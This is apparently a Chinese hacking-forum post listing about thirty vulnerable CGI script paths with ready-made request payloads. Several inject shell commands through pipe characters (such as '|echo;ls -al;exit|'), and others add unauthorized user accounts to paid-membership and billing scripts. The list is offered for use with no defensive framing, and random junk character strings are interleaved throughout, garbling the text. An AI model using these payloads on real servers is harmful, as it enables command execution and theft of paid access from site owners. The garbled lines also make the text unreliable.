Cgi-bin 30个漏洞＋使用方法

admin

==============================

: F# d% l; S1 w/smspass.pl
username=username&password=password

' r- |( F) C0 W: w/index.cgi
, H* S7 D+ S" {wei=ren&gen=command
3 f. Q/ M( C0 [- W( B
  x# r0 G# \+ T6 C/passmaster.cgi
Action=Add&Username=Username&Password=Password

, ^' R/ M$ u6 d- U% l1 m* z' @/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|

9 e6 s3 f( v5 ^3 h9 d, G6 x5 A/form.cgi
+ _/ i) h& k* fname=xxxx&email=email&subject=xxxx&response=|echo;ls|
+ F; T0 W! G$ ]  a; k) ]
/addusr.pl
3 u1 w( T* g. j" H/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
' g: @2 v  k# i* u) z% x
1 a. U' }$ E. \( ^; F/ccbill-local.asp
2 i- u" q+ D9 r$ [( x5 H; Q9 y$ u, Mpost_values=username:password
0 K2 [# G" i  `1 e! r
( v# `$ q0 h8 p/count.cgi
pinfile=|echo;ls -la;exit|

/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
4 ]* V6 o$ J. T" V9 v: a' O
$ H9 E: E+ O  S7 }/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
# u# w& ~, h, V' y
/af.cgi
0 A+ @1 L7 T+ C( a( {_browser_out=|echo;ls -la;exit;|

/modify.cgi
username=username&password=password&expire=30

* L. D  {" k+ \% A- q4 E) Y: z1 z/openjournal.cgi
/ z9 H! H  S- \* W0 J9 s" N8 Wedit=1&ct=2&go=|echo;ls -al;exit|

+ d% o; X9 Z" r( d1 e  V5 }, X/gx9passwd.cgi
cmd=ADD&user=username&pass=password
. z* H% j. t5 U$ n
/probecontrol.cgi
4 s, ]. {, |$ m  L+ s: `. |command=enable&username=username&password=password

/recon.cgi
& c6 d3 e  a7 A% K* ksearchoption=3&searchfor=echo;ls -la;exit
- J  q: A7 V4 [4 U6 i
% l3 b2 U. l4 N/ t7 Z9 n# G  b- d/htadd.pl
9 W5 A1 i" w$ y. f/ o8 s6 pconfigfile=|echo; ls -alt; exit
6 W, t/ S. ^( k, }7 K
7 d$ d' d8 d1 C. N, b2 ~/gx9passwd.cgi
cmd=ADD&user=username&pass=password
' b3 I+ p+ ?5 [, s' M2 K
, r, L$ _  o0 I5 _4 Q+ g# O. u/ibill*.pl
1 s. U: S: t+ G( t8 f. ~) greqtype=add&authpwd=authpwd&username=username&password=password
9 [/ J0 G9 R& `: {4 B# w. j
/cpay.cgi
2 [' v! p' R2 y! f3 I) f1 @command=add_member&username=username(EMAIL)&password=password(DES)

/globill_ut.cgi
, l% j8 \- o6 C& }* j/ Q8 c* sdo=add&username=username&password=password&wpassword=password

/usercontrol.cgi
' e$ Z# V* u! `3 |+ v' zcommand=enable&username=USER&password=PASS
, ^* a% Y! W0 S; L( L4 M
+ ]1 c1 _- P- }7 z) k/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password
8 Y4 q( q3 b; I' i8 f; S& V3 Q
' r2 X- |+ B! y! N$ H) s/addusr.pl
# B* p; T0 N1 g' Z# cuser=USER&pass=PASS&confirm=PASS

2 X4 ?$ D7 b5 B7 _& q, q5 L0 \* V. J/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

7 ]; M# A( o2 A* ~/ ^7 C, N, [/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit

7 @& b: I6 R2 J/ }8 ]. \( p/af.cgi
! D3 O$ @* E7 E/env.cgi
ADD+;echo;pwd;exit

. E& M6 J0 v7 z' B/count.cgi
- {  E4 M& Q' w- X$ spinfile=|echo;pwd;exit|

/recon.cgi
2 c) n5 N( x  \( W% N- k. Dsearchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
username=username&password=password&expire=30

: \1 O. X1 `4 {==============================
, Y. N7 U/ h% E9 s# B